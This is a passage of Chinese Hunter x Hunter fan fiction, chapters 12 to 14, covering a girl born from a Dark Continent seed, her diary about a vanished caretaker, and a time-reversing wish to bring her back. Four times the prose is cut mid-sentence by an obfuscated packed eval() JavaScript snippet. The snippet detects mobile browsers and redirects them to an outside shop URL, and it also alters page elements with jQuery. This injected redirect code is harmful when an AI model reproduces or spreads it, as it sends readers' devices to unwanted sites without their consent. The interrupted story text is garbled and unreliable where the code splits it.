气象条件:薄雾,能见度约50米
发现位置:黑暗大陆西北边缘
客观描述:于苔藓群中发现一枚蓝色半透明种子。内部有规律性发光现象。
手持时检测到微弱念力流动,方向:环境→种子。
初步结论:
1. 自体发光生命体
2. 具备念力吸收特性
3. 异常点:种子在无土壤、无水源环境下保持生命活性已超过72小时
备注(铃):它在我掌心轻微脉动了一会。仪器上面显示脉搏波形与我的心跳同步了0.3秒。
我想,这不是巧合。
……
【观察记录第7号】
日期:4月15日
实验条件:无菌培养皿,恒温25℃,湿度70%
事件描述:
记录者铃左手食指意外割伤,血液滴落于培养皿。种子在接触血液后在20秒内完全吸收,未留下任何蛋白质残留。
数据分析:
血液吸收效率100%,远超已知任何植物类生命体(最高记录为食人花,37%)。
吸收后种子散发的念力波长发生变化,新增波段与记录者铃的念力特征吻合度:98.7%。
推论:
该生命体能够:
1. 高效吸收并转化生物质
2. 复制或融合宿主的生命信息特征
3. 建立某种程度的“识别绑定”
备注(苍):铃坚持要继续培育。她说:
“它认识我了。”
……
【观察记录第83号】
日期:次年6月6日
观察时长:连续48小时监控
转化过程记录:
05:32 花苞开始规律性膨胀、收缩,频率与呼吸节奏一致
11:47 花瓣透光度增加,内部可见完整人类婴儿轮廓
14:20 检测到清晰脑电波活动,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261314|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
波形与人类新生儿一致
16:08 花苞展开,完成转化
转化后形态数据:
外表年龄:约2岁人类女性
身高:81cm
体重:11.3kg
体表特征:覆盖一层蓝色透明薄膜(30分钟后自行消散)
生命体征:心率90bpm,呼吸18次/分钟,体温36.5℃
特殊发现:
1. 血液样本显示红细胞内含蓝色发光微粒(暂命名“Sora粒子”)
2.无排异反应:对人类食物、衣物、环境完全适应
结论:
DC-S-001已完成从“种子”到“类人生命体”的形态转化。转化过程符合生命演化规律,但时间压缩比达到1:1500
备注(铃):她睁开眼睛后,第一个看向的是我。仪器显示,她的瞳孔在锁定我的脸时,脑电波出现了与“识别母亲”一致的波形。
她真的认识我。
我无法再将她作为实验品对待。
实验记录到这里就截止了。还有一两页日记片段。
7月8日
她在和谁说话。
为什么我看不到。
12月10日
不知道为什么,我的念力流逝的很快。在操控植物这方面的精细度越来越下降了。苍也不知道在忙什么,总是神出鬼没的。
7月1日
苍说他有事情不能赶回来了。
我和她在房间里好寂寞。
1月10日
或许是黑暗大陆产物的缘故,她的恢复能力特别快,所以在某些紧急情况下,她会优先做出损害身体来获取成功的行为。
我们纠正无数次都无法使她改变。
8月14日
明明已经把她当做我们的孩子,可是我不知道从什么时候开始从心里觉得她是一个怪物。
不、花咲玲你在想什么。
你是一个母亲。
10月10日
为什么要怕黑。
一个人睡有那么困难吗?
别再粘着我了。
4月5日
她真的是我的孩子吗?
最后一笔拖得很长,几乎划破了纸张。
小杰的手还捧着那叠泛黄的纸页,粉尘在从破旧窗帘缝隙透进来的光柱里缓慢沉浮。
“和雷欧力欧猜的不错,花咲夫妇确实有一个女儿。就是那颗比杨德心心念念的种子。不过,”酷拉皮卡缓缓合上卷轴,顿了顿,眉头蹙起,像是在斟酌用词,“不知道受什么影响,她的精神状态,好像出了点问题。”
“一个母亲如果处于抑郁状态或者不被社会认可价值,她就会下意识选择抛弃孩子。”雷欧力欧补充道。“这在医学和心理案例中并不罕见。”
空气安静了几秒。
亚路嘉默默抱紧手里的玩偶。小杰低头看着手里那些温柔的字句,嘴唇抿得紧紧的。
奇犽靠在门框上,没有接话。他正盯着自己摊开的左手掌心——刚才触碰那些玩偶时,指尖还残留着极淡的血腥味。
他缓缓收拢手指,看向窗外。
“那我大概知道她最后住在哪里了。”
“走吧。”
12. chapter.12
□□□□年10月21日
保姆找到我的时候,我躺在爸妈的尸体中间。那个时候我觉得眼前一片黑暗,但是有滚烫的水滴滴到了我的脸上。
她在哭。
我眨眨眼不明白为什么。
她把我从里面逮出来,蒙住了我的眼睛,把我身上的血污洗了个一干二净。我听见她在啜泣,睁开眼之后她的脸还特别红。
她说她养我。
我没有回答,只是攥紧了拳头。
□□□□年10月22日
父母死后,或许是看我可怜,又或许是之前我父母给的报酬太高,保姆收养了我。
收拾了一些衣服,我跟着她第一次来到这里,小木屋在斜坡的顶上,远处有小溪还有一大片勿忘我花海。
她说她的家很小,但是也足够大大的她和小小的我一起居住了。
□□□□年10月23日
一旦双眼陷入黑暗,我就会想到那个下午。前天晚上她关了灯,我的身体一直在抖,不敢睡觉。
但是她好像发现了这个问题,昨天晚上醒来的时候,昏黄的夜灯晕开了一片。
□□□□年10月30日
她发现我这几天都不怎么说话。一直担忧地看着我,想方设法让我开心。每天起来我的桌子上都会多出一些像勿忘我花环、勿忘我花束、扑克牌、小水晶诸如此类讨人喜欢的东西。
昨天晚上她以为我睡着了,在那里自言自语地讲一些奇怪的话。
我没忍住,笑了。
□□□□年11月2日
我把那天攥在拳头里的种子和她一起种在了小屋的旁边。
这是父母最后送给我的礼物——一颗来自黑暗什么大陆变种的勿忘我。
我也不知道它会长成什么样子。
□□□□年11月10日
白天的时候她会带着我出门,带我认识一些草木。从自然中汲取的知识比家庭教师教会我的要更加生动形象,我学的很快。她甚至还知道每一个草木名字的由来和在医药方面上的作用。就算我第二天忘了一些,她也会不厌其烦地告诉我第二遍。
如果我想玩水,她就会带着我去小溪边。这里的水很浅,才到我的脚踝。里面还有小鱼,她说她烤鱼特别厉害,以前考试的时候烤鱼香味吸引了很多考生,他们都想吃,但是都被她打败了。但还是没防住一个人,偷走了她所有的烤鱼。
那太坏了。我吃着烤鱼附和了她一声。
对呀,太坏了。她撑着脸笑眯眯地看着我。
□□□□年12月25日
睡了一个午觉,醒来的时候已经六点多了。她带着红色的帽子,手里还拿着一个红袋子,里面都是巧克力球。
我问她这是在干什么。
她说小孩子不都喜欢圣诞老人吗?
圣诞老人都是骗小孩子的,我才不是小孩子。我摇摇头说。
□□□□年1月1日
今天是新年,她一脸神秘兮兮地捂住我的眼睛。
什么东西这么神秘。我好奇地问。
你看了就知道了。她说。
是一堆烟花和一颗雕刻成耳坠的蓝宝石。
她说看我好像很喜欢这样的小玩意,就做了一个耳坠。
才不喜欢呢。我故作矜持。
其实我很高兴。
她啊了一下,有点低落。
开玩笑的,我很喜欢。谢谢你。我把耳坠带上左耳说道。
好看吗?我问她。
好看。她笑着说。
手中的烟花在空中炸开时,她问我。
你觉得从侧面看,烟花是圆的还是扁的?
我不知道。
□□□□年1月20日
今天下雪了。但是这里的勿忘我却一点也没有凋谢的迹象,我有点担心我的种子会被冻死。
她说这里的气候特殊,地下也有地热,勿忘我的花期很长,所以不用太担心。而且你看,它已经发芽了。
我顺着她的视线看过去,确实看到了一点点绿色,点点头哦了一声。
下了雪,路不好走。她看我无聊就把书放下,拿出之前的扑克牌和我一起玩。
一直输。她哈哈大笑。
然后笑完就是我一直在赢。
她又教我玩蜘蛛鬼牌。意味深长地说小心蜘蛛和扑克牌。随后又补了一句拿针戳人的也要小心。
□□□□年3月1日
我在山里遇到了一只小猫,它受伤了。却依旧对我龇牙咧嘴。
我不想救它。
她说生命很珍贵。
她一说话,小猫就不凶了。
好神奇,动物一直都很亲她。以前遇到的也是这样。
我和她一起把它带回家包扎。
要给它取名吗?我问她。
她愣了一下然后摇头说它还是要回归自然的。
□□□□年4月1日
今天是愚人节。
她严肃地说她要消失了。
我说她骗人。明明还好好的。
她狡黠地笑了一下。金黄色的头发在太阳下闪耀着。小猫躺在她怀里呼呼的睡觉。
她说人与人的羁绊是难以轻易磨灭的,而再见是为了下一次更好的再见。
才不要。
是你说要养我的。
□□□□年5月15日
小猫伤好了。要把它放生。
它一直都不乖,总是冲我喵喵叫。但是我还是有一点舍不得。
走之前还蹭了蹭我的手。这是第一次也是最后一次。
我有一点想哭。她拍拍我的肩膀。
说起来我还不知道她叫什么,我也不想用保姆称呼她,所以一直都在说你。
你叫什么名字。我问她。
她那双蓝宝石般的眼眸弯了弯。说以后我就知道了。
小气鬼。
□□□□年6月1日
今天被种下的勿忘我梗叶划伤了。它长得很慢,我就是好奇拨弄了一下,没想到会这样。
她很担心,把我的手指看了又看。
只是小伤啦。我把手指抽回来。
那也不行。她边说边给我涂药,还吹了吹。
□□□□年6月6日
今天是我的10岁生日。
她说如果可以许愿,我希望得到什么。
我说复仇。
哪怕失去生命吗。她问。
我说对。
她皱着眉显然不太认同我的想法,但随后又点着头说是。她说如果她的亲人被杀害,她也会不惜一切代价。
她看着我,眼里的情绪我不懂。过了一会又补充了一句:但是,这样的话人生会很沉重。
□□□□年8月20日
她给我找来了好多书,说多看点书长点脑子可以减少被骗。至少不会被别人骗光身上所有的钱。
我才没有那么笨呢。
□□□□年10月19日
今天是我父母死后的第一年。我沉默地走进那片花海。
我们刚来的时候,她把他们埋在了这里,还在里面放了两个刻着我父母名字的石头。
沉睡在地底下不是真正的死亡,遗忘才是。没有人会记得你,你的名字会消失,你的存在也会消失。
那时的她认真地看着我说。
我并没有写进之前的日记里。因为有点不太想说。
她沉默地跟在我后面。
我们静静地坐在斜坡上,听着远处的水声。
直到傍晚,雾气弥漫,模糊不清了她的脸。
她说她认识的人也死在了这一天。一个很好的朋友、没有人知道的、一个人非常孤独地死去。我听到她轻轻地吸了一口气。
逝去的生命太沉重,压在每个活着的人的心上。
我无法接受。
□□□□年12月25日
今年下雪比去年早。她悄悄从背后拿出一个雪景球当做今年的惊喜。
我把它摇了摇和窗外的雪景对比。
隔着玻璃看向雪花的我们是不是也是被世界观望的雪景球。
□□□□年1月1日
她说如果我想复仇就要对我进行体格训练。
我说好。
□□□□年1月10日
她在饭菜里面下了毒,所以前几天晚上吃完我就倒地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261315|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不起了。没有写完日记。
我可以收回之前的话吗。
开玩笑的。
我快要累死了。但是为了复仇一切都是值得的。
□□□□年6月6日
今天是我的11岁生日。
她给了我一张猎人考试资格表,让我在12岁的时候填。如果我想复仇,就必须拿到猎人执照。考试时间就在后年的1月7日。留给我的时间并不多。
□□□□年9月10日
今天天气很好,我和她躺在花海里享受着山谷里吹来的清风,混合着勿忘我的香气。
她坐起来用手比了一个方框,然后说笑一个,跟我念茄子——
我也跟着她念。
茄子——
□□□□年10月19日
她今天有点奇怪,给我带了一个苹果糖之后问我要去镇子上走走吗?
我很喜欢吃苹果糖,苹果的气味结合着糖衣的香甜。以前的保姆在我生气的时候都会给我准备一根用来哄我。
但是我不太爱走动。
从来到这里之后我一直都没有再回去过。
我咽下嘴里的苹果糖,回答她说:我不想去,奠念结束后,我要为复仇做准备。
半夜睡不着的时候我看到了镇上的烟花。
虽然不知道今天是什么日子。
但是烟花很漂亮。
□□□□年12月25日
不知道她从哪里找了一颗小松树放在窗边,围了一圈的装饰品和小灯泡。
她说不喜欢圣诞老人,圣诞树总该喜欢吧。
那我觉得还是雪景球更喜欢一些。
□□□□年1月1日
又是一年新年。
我们打雪仗打累了躺在雪地里,看着烟火升起。
她问我复仇结束后想去干什么。
如果可以,我想开一家花店。我想了想说。
那一定要努力活着啊,□□□·□□。人只有活着,生命才有无限可能。她叹了一口气。
这是她第一次喊出我的全名。
□□□□年2月2日
她最近好像有心事,自言自语的频率越来越多了。
为什么不能告诉我呢。
我们不是要永远在一起吗。
□□□□年3月1日
今天她拿了一点酒和我一起喝。我不太喜欢这种辣舌头的口感,所以都给了她。
她拿着快要空的酒瓶,两个脸蛋都很红。
她说她要变成云朵飞走了。
我说你喝醉了。
她说她要消失了。
我说这种玩笑你以前就开过了。
我才不会上当。
□□□□年3月31日
她今天给我带了一根苹果糖,并且和我说我的仇人是□□□□的□□。
□□□□年4月1日
她消失了。
哪里也找不到她。
□□□□年4月2日
今天不是愚人节了。
□□□□年5月1日
你送给我的雪景球不小心被我摔碎,我想拼回去,捡起来的玻璃片把我的手划伤了。
好痛。
还好耳坠没有丢。
我跑去问家政公司,他们都说不认识你。
□□□□年5月8日
我们一起种下的勿忘我开花了。很漂亮的蓝色,像你的眼睛一样清透。
为什么你还没有回来。
□□□□年5月10日
我讨厌你。
□□□□年5月14日
你是谁。
□□□□年5月19日
哪里都找不到你。
□□□□年5月28日
你去哪里了。
□□□□年6月1日
骗子。
□□□□年6月6日
生日快乐。□□□·□□
□□□□年10月19日
今年的烟火又升起来了,也不知道绽放在空中的烟花从侧面看是圆是扁。
没有人可以告诉我。
从今往后,我只有一个人了。
13. chapter.13
“这便是日记的所有内容了。”酷拉皮卡环视一圈道。
他们现在身处在一个破败的木屋,月光穿过颈间洒落到面前的日记上。木桌积着薄灰,角落摆着缺了口的雪景球,周围还有一些摆件,彰显着过去有人生活过的痕迹。
奇犽带着他们来到的地方就是他一开始和亚路嘉来到的勿忘我花海。淡蓝与浅紫的花簇层层叠叠地簇拥着开放,漫过脚踝,铺向远处的夜色。空中弥漫着带着清苦的香气,浓得化不开,缠在衣摆间,挥之不去。
这是她住过的地方。
所以拿尼加之前异常的行为也就可以知道原因了。
“拿尼加。”奇犽看着亚路嘉喊了一声。
“怎么了,奇犽。”
黑色漩涡般的眼睛代替了亚路嘉黑白的双眸,她的嘴角弯成黑色的月牙。
“告诉我,她是不是和你许愿了。”奇犽用了强求。
“是。”
“她叫什么名字。”
“朝穗空·花咲。”
拿尼加的声音落下,奇犽的表情消失了。银发下的蓝眼睛,瞳孔缩成针尖,连呼吸都慢了半拍。
——朝穗空·花咲。
这个名字在奇犽嘴边转了一圈,从心脏出开始泛起密密麻麻的酸涩,连带着尘封的记忆也破了匣。
左耳垂的幻痛猛地炸开,从细微的刺痒变成真实的、被贯穿的灼烧感。他几乎能听到冰蓝色耳坠晃动的细碎声,和他自己带着笑意的吐槽:“丑死了,像颗融化的糖果。”
他早该发现的。
他早该明白的。
——“我讨厌你,奇犽。”
那时候听到这样的话语,他下意识回了一句。“烟花是圆是扁你还看不出来?不过我觉得正面看是圆的,侧面看应该是你漂亮的眼睛吧。”
“没说你好看啊,只是说你眼睛里的烟花好看,你可别太得意洋洋了。”
“还有——不许讨厌我。”
他还记得那时她扬起的眉毛和倒映着他身影的双眸。冰蓝色的耳坠在她小巧的耳垂处轻轻晃动,随著她的动作晃出细碎的光,像一片落在耳垂上的、模糊的水花。
——还有他那时胸腔里,不合时宜的、不可忽视的,越来越快的心跳声。
她总喜欢捉弄他,无论是从身后捂住他的眼睛,明知故问地让他猜身份,还是趁他睡着时,偷偷把他的银发扎成一个个歪歪扭扭的小辫子,系上蓝色的小花。
所以连死前,都要捉弄他的记忆。让所有人都忘记了她,把那些热烈的、鲜活的时光,都当做什么都没发生过。
“真是个彻头彻尾的笨蛋。”奇犽低下头,从喉间挤出气音,带着哽咽地笑道,指节攥的发白。
月光下,酷拉皮卡一动不动。他甚至没有眨眼。金色的睫毛在苍白的脸颊上投下静止的阴影。
他的呼吸停了。
或许是一个世纪,也或许可能只有一秒,他才极其缓慢地、将视线转向自己一直紧握的右手——那枚淡蓝色的耳坠,正安静地躺在他的掌心,折射着月光。
火红的双眸里盛着幽幽蓝色火苗。
这条复仇路上前行的不只有他。
也不只有她。
他怎么能够心安理得地接受这一切。
“混蛋……”雷欧力欧从牙缝里挤出两个字,声音低沉,带着一种沉重的懊恼。“真以为忘记就可以一了了之了吗。”
他居然现在才发现。
他抬手,用力抹了一把脸,手掌的粗糙触感摩擦过皮肤,带来一阵微痛。
“……真是的,”他哑声说,肩膀微微垮下来一点。“一个两个都那么乱来,小鬼就是小鬼,什么都不考虑。”
“等等。”
“拿尼加,你有办法救活朝穗空的吧?就像那个时候救我一样。”小杰率先打破这沉重的氛围,猛地踏前一步,面向拿尼加,语气带着近乎灼人的、纯粹的急切。
奇犽、酷拉皮卡和雷欧力欧微微一怔。
拿尼加黑色的漩涡眼眸微微转动,看向小杰。她似乎理解这种不带任何迂回的情感。
“她已经死掉了。”
“不对!她的初始种还在这里。”小杰指着破碎玻璃后面的勿忘我。“你一定有办法救回她的!”
这番质问近乎天真,却又带着小杰特有的、不容置疑的逻辑。击中了沉浸在情绪中的奇犽。
她只是部分死了,作为种子的那一部分还保留在这里。
“拿尼加,”奇犽的声音低下来,带着一丝自己都未察觉的颤抖,“小杰问的,也是我想知道的。算上种子那一部分,她还存在吗”
“愿望已经实现了。‘朝穗空·花咲’作为‘存在’被拆解了。大部分用来支付‘让所有相关者遗忘’的代价。剩下的很少一部分……”
她抬起手,指向窗外那片在夜风中摇曳的、无边无际的勿忘我花海。
“变成了‘思念的种子’,留在这里。但不是人,也不是灵魂。只是‘存在过的证明’。”
“那就是说,还有‘一部分’在,对吧!”
小杰的眼睛瞬间亮了,那光芒甚至驱散了木屋里的沉重。他转身,目光灼灼地扫过奇犽、酷拉皮卡和雷欧力欧。
“奇犽!酷拉皮卡!雷欧力欧!”他的声音里重新充满了那种一往无前的力量,“我们找到她了!虽然只有一点点,但那就是起点! 就像钓鱼,只要鱼线还能感觉到最轻微的动静,就绝对不能放弃!”
“接下来,我们要想办法让这些‘种子’重新‘长出来’!不管要去找什么传说中的花匠,还是要再去黑暗大陆,我们一定——”
“小杰。”奇犽打断了他,声音有些哑。他看着好友那双永远燃烧着希望火焰的眼睛,心中那片因记忆复苏而冰冷的废墟,仿佛也被投入了一颗火种。
是啊,这才是小杰。他不会坐在原地哀悼。他会抓住哪怕亿万分之一的可能,然后把它变成百分之百的现实。
“啊。”奇犽的嘴角,终于勾起了一个久违的、属于奇犽的,带着点锐气和挑战意味的弧度,“听起来是个麻烦透顶的大工程。不过——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261316|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他看向酷拉皮卡和雷欧力欧。酷拉皮卡已经从最初的震撼中回过神,茶色的眼眸里重新凝聚起平静的光。雷欧力欧抓了抓头发,虽然一脸“又来了”的无奈,但嘴角却咧开了。
“谁让我们是‘同伴’呢。”奇犽说出了下半句。
“不用这么麻烦。”拿尼加摇摇头。“最重要的东西你们已经带过来了。”
“什么?”
“耳坠、石头、种子和回忆。”
“但规则是公平的,”拿尼加继续说,“以‘存在’交换‘存在’。要让她重新‘存在’,你们需要支付同等的‘存在’——你们共同经历的‘记忆’。不是遗忘她一个人,而是遗忘因她而产生的、你们彼此交织的这部分人生。你们可能会成为陌生人,在街头擦肩而过一万次也不会回头。”
“这样你们愿意吗?”她空洞的双眸扫过四张面孔。
第一个开口的是小杰,就在话语刚落的瞬间:“嗯!五人组少一个都不可以!”小杰用力点点头,声音没有一丝犹豫。
奇犽闭上了眼睛。一秒,两秒。月光照在他微微颤动的银色睫毛上。当他再睁开时,里面那些翻涌的痛楚、愤怒、自嘲,都沉淀成了一种近乎冷酷的清明。
“大不了再来一次嘛,亿万分之一的机会我都愿意试试,更别提这小小困难了。”
雷欧力欧重重地“啧”了一声“可恶。小鬼头们一个个都这么乱来。”他嘟囔着,眼神里没有了平日的咋呼,只剩下一种成年人的、认命般的决心。
“但是啊……让一个小姑娘为了我们做到那种地步,然后大人们还在这里畏首畏尾的话,也太丢脸了。加我一个。”
所有的目光,最后落在酷拉皮卡身上。他始终是最安静的那个。他只是缓缓地,将掌心那枚冰蓝色的耳坠,轻轻贴在了自己的心口。然后,他抬起头,茶色的眼眸在月光下像两潭深静的湖水。
“我们的旅途,不应该建立在任何一个人的‘消失’之上。我同意。”他轻声说,声音平稳,却带着某种一锤定音的决断,“我们会再相遇的。”
“毕竟我们是同伴啊。”四人齐声道。
“奇犽,对我使用强求吧。”见他们下定决心,拿尼加转头看向奇犽。
奇犽深吸一口气。他看向小杰,看向雷欧力欧,最后看向酷拉皮卡。
他伸出手,不是对着拿尼加,而是将掌心向上,摊开在同伴们面前。一个无声的邀请、一次最后的确认。
小杰毫不犹豫地将手叠放上去,雷欧力欧粗厚的手掌紧随其后,酷拉皮卡冰凉而坚定的手指最后落下。
四只手,叠在一起。温度、脉搏、决心,在此刻交汇。
奇犽这才转向拿尼加,蓝色的眼眸亮得惊人,一字一句,清晰无比:
“拿尼加——
请用我们‘共同记忆’的存在为代价。
复活我们的同伴——朝穗空·花咲。
让她回到这个,原本有她存在的世界。”
“好的,奇犽。”
“许愿成功。”
14. chapter.14
“呜呜呜——”
又是哭声。
奇犽有些不耐烦的睁开眼,面前是一个小巧的秋千在他眼前晃荡。视线再往前,是一扇光亮的木门。
眼前的一幕隐隐和记忆中重合。
他这是回到花咲馆了?
‘奇犽你终于醒了,我还以为就我一个人呢。’小杰的声音在脑海里出现。
‘这是怎么回事?’
‘我们应该回到过去了。要不推门进去看看?’酷拉皮卡出声道。
‘酷拉皮卡原来你也在啊!’
‘嗯,刚醒。’
‘等等,我们四个在同一具身体里面?’雷欧力欧大喊道。‘什么情况啊!’
‘别吵了,大叔。’
‘先看看现在什么情况吧。’
奇犽这才注意到他身上的装扮,偏中性化的管家服套在他身上,视野比原先高了不少。
他推开眼前的门,哪怕是经受过揍敌客的训练,但浓重的血腥味还是让他下意识捂住口鼻,不至于差点吐出来。哭声隐隐约约从楼上顺着风声传来。
‘好恶心——’雷欧力欧在那边呕。
‘我们真的回到过去了。’
奇犽照着第一次来到花咲馆的记忆向楼上走去。走廊的尽头,昏黄的灯光打着两具尸体,一个黑色头发的小女孩正抱着膝盖坐在地上。
‘是朝穗空!’小杰惊呼。
‘这么小的孩子。一个人不知道在这里坐了多久,不吃也不喝。’雷欧力欧说着心疼起来。
终于见到你了,朝穗空。
没想到是以这样的方式。
一股黏腻又酸涩的感觉冲上奇犽的鼻尖,他快步向她走过去,但又怕吓到她,特意放弃了脚步。
“朝穗空,朝穗空。”他蹲下来轻轻捏着她的胳膊喊了几声。
她的身体好冰。
少女沉浸在自己的世界里,还没有发现他的存在。
“你这个笨蛋。”他说着,把她揽入怀里,让她靠着他的肩膀,试图把他的体温传递到她的身上。
滚烫的泪珠顺着眼角滑下,滴落在朝穗空的脸上。
她的睫毛像蝴蝶般颤抖了一下。
谁在哭?
温暖的怀抱,陌生的气息。朝穗空茫然地抬起头,视线对上一双蓝色的眼睛——那里面翻涌的情绪太复杂,她无法辨认那是什么。
雷欧力欧:‘瞳孔反应迟钝,有轻微脱水和休克迹象。’
‘父母的遗体需要妥善处理,不能让她继续留在这个创伤现场。’酷拉皮卡冷静分析。
奇犽:‘知道了。’
他抱起轻得离谱的朝穗空,快步离开,怀里的小身体在细微地发抖。
这个笨蛋,不知道在这里坐了多久。不知道冷和饿吗。
‘左边第二间,客房,有干净的床铺和备用毛毯。’ 酷拉皮卡指挥道。
雷欧力欧:‘蜂蜜水、糖水都行,要温的。’
奇犽:‘知道了大叔’
雷欧力欧:‘快点!’
将朝穗空放在柔软的床上,用厚厚的毛毯裹紧后,奇犽在雷欧力欧的疯狂催促下 ,有些手忙脚乱地去厨房寻找食物和水。
当奇犽端着温热的蜂蜜水回来时,看到朝穗空依然维持着被放下的姿势,只是眼睛一眨不眨地盯着他,没有任何色彩。
‘和她说话,奇犽。别让她陷入封闭。’ 酷拉皮卡提醒。
“……喝点水。”奇犽干巴巴地说,把杯子递到她嘴边。
朝穗空的睫毛颤了颤。
她极缓慢地低下头,就着奇犽的手,小口啜饮起来。温热的甜水流进冰冷的胃里,带来一丝细微的暖意。
奇犽:‘她身上怎么办?’
雷欧力欧:‘洗啊。’
奇犽:‘我怎么洗?’
三人:……
奇犽:‘别装死。’
看着眼前沾满血污的少女,奇犽叹了一口气,认命般抱起她带到浴室里。
可是看着那双眼睛,他根本不知道如何是好了。一张脸通红,找了个眼罩草草给她戴上。
调好水温后,他也闭上眼睛给她清洗。
想到她死后再次见到她是这副场景,想到脆弱又无助的她,奇犽又忍不住红了眼眶,忍不住啜泣起来。
雷欧力欧:‘别哭了,我也想哭了。’
奇犽:‘她真的好苦啊,比我那几个管家还苦。’
雷欧力欧:‘?’真哭还是假哭?
奇犽:‘我要养她。我账户那些钱够她一辈子吃喝不愁了。不够的话,大不了我再去接点委托。’
雷欧力欧:‘?’
奇犽也是那么做的,给朝穗空换完衣服,他就一脸郑重其事地告诉她:
“我养你。”
“……”
雷欧力欧:‘你在对一个幼女说什么啊?没看到她的拳头都攥紧了吗?’
奇犽:‘?’
小杰:‘朝穗空确实在握拳诶!’
酷拉皮卡:‘好像在拿着什么东西吧。’
“你看看要带什么东西吗?没有什么的话我们走咯?”奇犽蹲在朝穗空前面和她平视。
朝穗空没说话,她的视线看向别处。
“有在听吗?”奇犽的手在她眼前扬了扬。
奇犽顺着她的视线看过去,只有墙壁,他心下了然。
“我会好好埋葬你父母的,不用担心。这个地方你也不能待了,我们换个地方住吧。”他拉起她的手往外面走。
没拉动。
朝穗空固执地站在那里,眼神没离开过那个方向。
“好吧好吧。”奇犽叹了一口气,开始着手花咲夫妇的尸体。
等到弄完一切,把土盖上的时候已经是第二天了。奇犽拍拍手准备去洗一下,酷拉皮卡却拦住了他,从不知道哪个角落捡到的石头,开始在上面刻起花咲夫妇的名字来。
朝穗空在一旁看着。
不远处的小溪传来叮叮咚咚的水声,混合着花香萦绕在两侧。
金发的少年垂眸,耀眼的阳光打在他的侧脸,衬得他的肌肤越发白皙。湖水般清澈的双眸正盯着手上的石头。
“沉睡在地底下不是真正的死亡,遗忘才是。没有人会记得你,你的名字会消失,你的存在也会消失。”
黑发黑眸的少女操纵着念力,嘴里念念有词。
‘……随便你。’酷拉皮卡沉默了几秒,看着自己空荡荡的手。
那时的他还不懂。
酷拉皮卡回忆着朝穗空给窝金刻字时说的话,借着现在,将这句话送还给朝穗空。
她也差点死在了他们的生命里。
‘花咲苍’‘花咲玲。’
没有日期,没有墓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261317|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
志铭。只有名字,作为他们存在过的痕迹。
埋好这两块石头,朝穗空的身体晃了晃,差点倒在地上,是奇犽及时扶住了她。
“好好休息吧,睁开眼又是新的一天。”他对着朝穗空轻声说。“虽然这里很小,但是足够你我生活了。”
她不再逞强,闭着眼陷入了沉睡。
奇犽看着她恬静的侧脸,思绪不由得飘向了遥远的地方。
——“其实我很怕黑。”
说出这句话后她又转头看向燃烧的篝火,身后的影子随着窜起的火苗在不断摇曳,不等奇犽回答,她又自问自答般接了下一句。
“很奇怪吧,明明念能力是和影子有关。”温暖的光线打在她的半边脸上,平日里扬起的嘴角抿成一道直线,瞳孔中的光亮随着火舌游移不定。
就像变了一个人一样。
不对,或许她本来就是这幅模样。
“……”奇犽暗自否定了自己的猜测,张了张嘴想要说什么,又被对方打断。
“每当一起玩耍的小孩子们都回到自己家里的时候,我就会一个人静静地躺在床上,听着外面响起的鸣笛。偶尔睁开眼,车灯也会顺着玻璃一闪而过,带来一瞬的明亮,但这一点远远不够我睁开眼的勇气。所以大部分的时间我都是闭着眼睛的。”
“我很喜欢抱着娃娃蜷缩在一起,那样很暖和,也很有安全感,就像回到了胚胎时蜷缩在妈妈的温暖的羊水里。但是一到冬天,那股温暖就散开了,变成了怎么也捂不热的一块冰,我就不停地加被子加被子。这个时候闭眼的坏处就来了——”
“我不敢摸黑,胸腔里稳稳跳动的心跳声又像巨人的脚步一般向我走来。我很害怕巨人会把我吃掉,但是我又害怕我睁开眼巨人就发现我了。没有人告诉我那是我的心跳声,所有人都理所应当地认为孩子应当知道这些。那个时候我想告诉妈妈,但我怕妈妈也因此被巨人抓走。”
